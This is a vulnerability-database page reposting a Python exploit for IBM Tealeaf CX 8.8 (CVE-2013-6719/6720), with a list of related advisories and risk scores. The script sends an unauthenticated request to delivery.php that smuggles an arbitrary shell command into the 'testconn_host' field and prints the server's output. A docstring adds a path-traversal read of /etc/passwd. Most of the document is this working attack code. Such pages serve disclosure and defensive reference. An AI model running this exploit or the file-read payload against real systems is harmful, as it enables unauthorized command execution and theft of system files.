IBM Tealeaf CX 8.8 - Remote OS Command Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType

IBM Tealeaf CX 8.8 Remote OS Command Injection vulnerability. Test connection, delivery mode, and potential LFI exploit

Reporter	Title	Published	Views	Family All 20
IBM Security Bulletins	Security Bulletins for IBM Tealeaf Customer Experience offerings	16 Jun 201819:35	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Tealeaf CX Passive Capture Application is vulnerable to a remotely exploitable OS command injection and local file inclusion (CVE-2013-6719 and CVE-2013-6720)	16 Jun 201819:35	–	ibm
0day.today	IBM Tealeaf CX 8.8 - Remote OS Command Injection Vulnerability	27 Mar 201400:00	–	zdt
Check Point Advisories	Command Injection Over HTTP Payload (CVE-2013-6719; CVE-2013-6720; CVE-2020-26728; CVE-2022-30105)	3 Jul 201800:00	–	checkpoint_advisories
CVE	CVE-2013-6719	6 Mar 201411:00	–	cve
CVE	CVE-2013-6720	6 Mar 201411:00	–	cve
Cvelist	CVE-2013-6719	6 Mar 201411:00	–	cvelist
Cvelist	CVE-2013-6720	6 Mar 201411:00	–	cvelist
Exploit DB	IBM Tealeaf CX 8.8 - Remote OS Command Injection	26 Mar 201400:00	–	exploitdb
EUVD	EUVD-2013-6521	7 Oct 202500:30	–	euvd


                                                # IBM Tealeaf CX (v8 release 8) Remote OS Command Injection
# Date: 11/08/2013
# Exploit author: drone
# More information: http://www-01.ibm.com/support/docview.wss?uid=swg21667630 
# Vendor homepage: http://www-01.ibm.com/software/info/tealeaf/
# Version: Version 8 Release 8 (likely all versions prior)
# Tested on: Redhat Linux 6.2
# CVE: CVE-2013-6719 / CVE-2013-6720

import requests
from argparse import ArgumentParser

&#34;&#34;&#34; Remote OS command injection (no auth)
    IBM TeaLeaf Version 8 Release 8
    drone (@dronesec)

    Bonus:
    LFI at /download.php?log=../../etc/passwd
&#34;&#34;&#34;


def run(options):
    access = &#34;http://{0}:{1}/delivery.php&#34;.format(options.address, options.port)
    data = {&#34;perform_action&#34; : &#34;testconn&#34;,
            &#34;delete_id&#34; : &#34;&#34;,
            &#34;testconn_host&#34; : &#34;8.8.8.8 -c 1 ; {0} ; ping 8.8.8.8 -c 1&#34;.format(options.cmd),
            &#34;testconn_port&#34; : 1966,
            &#34;testconn_t&#34;    : &#34;false&#34;,
            &#34;csrf&#34; : &#34;afe2fce60e94a235511a7397ec5c9a87fb7fc25b&#34;, # it doesnt even care
            &#34;delivery_mode&#34; : 0,
            &#34;batch_interval&#34; : 60,
            &#34;polling_interval&#34; : 10,
            &#34;watchdog_timer&#34; : 30,
            &#34;max_queue_depth&#34; : 50000000,
            &#34;timesource_host&#34; : &#34;test&#34;,
            &#34;timesource_port&#34; : 1966,
            &#34;staticshit_enabled&#34; : &#34;on&#34;, # seriously
            &#34;staticshit_host&#34; : &#34;test&#34;,
            &#34;staticshit_intervalseconds&#34; : 60,
            &#34;staticshit_port&#34; : 1966
           }

    response = requests.post(access, data=data, timeout=20.0)
    if response.status_code == 200:
        # lazy parsing
        result = response.content.split(&#34;alert(&#39;&#34;)[1].split(&#39;onUnload&#39;)[0]
        for x in result.split(&#34;\\n&#34;):
            if &#39;PATTERN&#39; in x: break
            print x
            
    
def parse_args():
    parser = ArgumentParser()
    parser.add_argument(&#34;-i&#34;, help=&#34;Server address&#34;, action=&#34;store&#34;,
                        required=True, dest=&#34;address&#34;)
    parser.add_argument(&#34;-p&#34;, help=&#39;Server port&#39;, action=&#39;store&#39;,
                        dest=&#39;port&#39;, default=8080)
    parser.add_argument(&#34;-c&#34;, help=&#39;Command to exec&#39;, action=&#39;store&#39;,
                        dest=&#39;cmd&#39;, default=&#39;whoami&#39;)
    return parser.parse_args()

if __name__ == &#34;__main__&#34;:
    run(parse_args())

01 Jul 2014 00:00Current

0.6Low risk

Vulners AI Score0.6

EPSS0.28583

ibm tealeaf cx command injection remote os vulnerability test delivery lfi exploit